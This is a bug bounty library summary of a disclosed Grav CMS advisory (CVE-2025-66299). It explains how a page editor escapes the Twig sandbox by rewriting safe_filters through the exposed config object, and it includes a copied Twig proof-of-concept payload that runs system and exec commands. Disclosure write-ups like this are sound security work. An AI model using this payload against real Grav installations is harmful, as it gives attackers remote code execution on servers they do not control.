# Grav is Vulnerable to Security Sandbox Bypass with SSTI (Server Side Template Injection)

Grav's Twig sandbox blacklist bypassed via grav.twig.twig_vars['config'].set() to whitelist system/exec, giving editors RCE on the server.

- Payout: Research
- Severity: high
- Program: Grav
- Found by: justwove
- Disclosed: 2025-12-02
- CVE: CVE-2025-66299
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-gjc5-8cfh-653x
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-gjc5-8cfh-653x
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:high tech:php technique:source-review vuln:rce vuln:sandbox-escape vuln:ssti

**Target:** Grav CMS Twig template engine / admin page editor
**Root cause:** The Twig sandbox only blacklists dangerous PHP functions via isDangerousFunction(), but the Twig environment object is reachable from templates, allowing an editor to write arbitrary names into system.twig.safe_filters and whitelist system()/exec().
**Steps:**
1. Authenticate as a user with page-edit permission and Twig processing enabled.
2. Create/edit a page with `{% set arr = {'1':'system', '2':'exec'} %}`
3. Add `{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_filters', arr)) }}` to write the whitelist.
4. Add `{{ 'id'|system }}` and `{{ 'whoami'|exec }}` to invoke the now-whitelisted functions.
5. Save and visit the page (even unauthenticated) to trigger command execution.
**How found:** Noticed the sandbox relies on a function blacklist and that the Twig environment/config object is exposed to templates, then tried mutating safe_filters from within Twig.
**Exploitation:** Editor injects Twig directives into a page; the config object reachable via grav.twig.twig_vars is used to set system.twig.safe_filters to system/exec, then the filters are invoked to run OS commands when any visitor loads the page.
**Escalation:** Persisted payload executes for unauthenticated visitors, turning editor access into server-wide RCE.
**Insight:** When a template sandbox is a denylist, look for any reachable object reference (e.g. grav.twig.twig_vars) that lets you mutate the denylist/whitelist config itself rather than calling blocked functions directly.

## Proof of concept (copied exactly from the original report)

**Twig payload injecting safe_filters and running commands**

```
{% set arr = {'1':'system', '2':'exec'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_filters', arr)) }}
{{ 'id'|system }}
{{ 'whoami'|exec }}
```

